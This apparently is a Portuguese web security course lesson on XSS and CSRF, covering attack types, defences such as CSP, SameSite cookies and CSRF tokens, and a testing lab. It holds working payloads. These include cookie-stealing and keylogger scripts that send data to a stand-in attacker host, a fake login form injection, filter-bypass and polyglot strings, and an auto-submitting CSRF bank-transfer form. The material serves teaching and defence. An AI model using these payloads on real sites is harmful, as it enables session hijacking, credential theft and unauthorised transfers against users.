XSS e CSRF
Aula 3 de 6
Cross-Site Scripting (XSS) — A03:2021
Tipos de XSS
| Tipo | Descrição | Persistência |
|---|---|---|
| Reflected | Payload na URL/request, refletido na resposta | Não persiste |
| Stored | Payload armazenado no servidor (BD, arquivo) | Persiste |
| DOM-based | Payload executado no client-side via JavaScript | Não persiste |
| mXSS | Mutation XSS — parse do navegador modifica o HTML | Varia |
Reflected XSS
GET /search?q=<script>alert('XSS')</script> HTTP/1.1
# Resposta (vulnerável):
# <div>Resultados para: <script>alert('XSS')</script></div>
URL payload:
/search?q=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E
Stored XSS
Payload armazenado em comentário, post, perfil de usuário.
1. Atacante posta comentário:
<script>document.location='http://atacante.com/steal?c='+document.cookie</script>
2. Usuário visita página → script executa
3. Cookie do usuário enviado ao atacante
DOM-based XSS
// Código JavaScript vulnerável
var userInput = document.location.hash.substring(1);
document.getElementById("output").innerHTML = userInput;
// URL de ataque:
// http://alvo.com/page#<img src=x onerror=alert(1)>
mXSS (Mutation XSS)
O navegador "corrige" o HTML de forma diferente do esperado:
Payload: <noscript><p title="</noscript><img src=x onerror=alert(1)>">
Parsed pelo sanitizer: <noscript><p title="..."></noscript>
Parsed pelo browser: fecha noscript, executa <img>
Payloads Clássicos
// Alerta de teste
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
// Roubo de cookie
<script>fetch('http://atacante.com/steal?c='+document.cookie)</script>
<img src=x onerror="this.src='http://atacante.com/steal?c='+document.cookie">
// Keylogger
<script>
document.onkeypress = function(e) {
fetch('http://atacante.com/keylog?k='+e.key);
};
</script>
// Phishing (form falso)
<script>
document.body.innerHTML = '<form action="http://atacante.com/login">' +
'<input name=user><input name=pass type=password>' +
'<input type=submit></form>';
</script>
Bypass de Filtros
// Case variation
<ScRiPt>alert(1)</ScRiPt>
// Tag quebra
<<script>script>alert(1)</script>
// Event handler variation
<img src=x onerror=alert(1)>
<img src=x onError=alert(1)>
<img src=x ONERROR=alert(1)>
// Polyglot
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)>
// UTF-8 bypass
<script>alert(1)</script> → <script>alert(1)</script> (full-width chars)
CSP (Content Security Policy)
Headers
Content-Security-Policy: default-src 'self'
Content-Security-Policy: script-src 'self' https://trusted.com
Content-Security-Policy: script-src 'nonce-abc123'
Content-Security-Policy: script-src 'strict-dynamic'
Content-Security-Policy: img-src 'self' data:;
Content-Security-Policy: style-src 'self' 'unsafe-inline'
Nonce e strict-dynamic
<!-- CSP com nonce: apenas scripts com nonce correto executam -->
<script nonce="abc123">
console.log('Este executa');
</script>
<script>
console.log('Este não executa'); // Bloqueado pelo CSP
</script>
Report-Only
# Apenas reporta violações sem bloquear (teste)
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
CSRF (Cross-Site Request Forgery)
Como Funciona
1. Usuário autenticado no banco (cookie de sessão)
2. Usuário visita site malicioso
3. Site malicioso envia requisição POST para /transferir
4. Banco processa (cookie enviado automaticamente)
5. Transferência feita sem consentimento
Payload CSRF
<!-- Form auto-submit -->
<html>
<body>
<form action="https://banco.com/transferir" method="POST">
<input type="hidden" name="conta" value="atacante">
<input type="hidden" name="valor" value="1000">
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
Prevenção
SameSite Cookies
Set-Cookie: session=abc123; SameSite=Lax
Set-Cookie: session=abc123; SameSite=Strict
Set-Cookie: session=abc123; SameSite=None; Secure # Cross-site (requer Secure)
| SameSite | Descrição |
|---|---|
| Strict | Cookie nunca enviado em requests cross-site |
| Lax | Cookie enviado em navegação top-level (GET) |
| None | Cookie enviado em todos contextos (requer Secure) |
CSRF Tokens
<form action="/transferir" method="POST">
<input type="hidden" name="csrf_token" value="a1b2c3d4e5f6...">
<input name="conta">
<input name="valor">
</form>
# Verificação no servidor
if request.form.get('csrf_token') != session['csrf_token']:
return "CSRF token inválido", 403
Double-Submit Cookie
Token enviado em cookie + header/body.
Servidor verifica se os dois são iguais (não precisa armazenar).
1. Cookie: csrf=abc123
2. Body/Header: X-CSRF-Token: abc123
3. Servidor: cookie.csrf === body.csrf ?
Lab: Testando XSS e CSRF
# 1. Testar XSS refletido em input fields
<script>alert(1)</script>
<img src=x onerror=alert(1)>
# 2. Verificar CSP headers do alvo
curl -I https://alvo.com | findstr "Content-Security-Policy"
# 3. Testar CSRF (remover token e ver se aceita)
# Requisição original com token → 200
# Requisição sem token ou token inválido → 403 (protegido)
# Requisição sem token → 200 (vulnerável)
# 4. Verificar SameSite cookie
curl -I https://alvo.com | findstr "SameSite"
XSS permite sequestro de sessão, keylogging e phishing. CSP com nonce/strict-dynamic é a defesa moderna mais eficaz. CSRF é prevenido com SameSite=Strict/Lax + CSRF tokens. Nunca confie em inputs de usuário.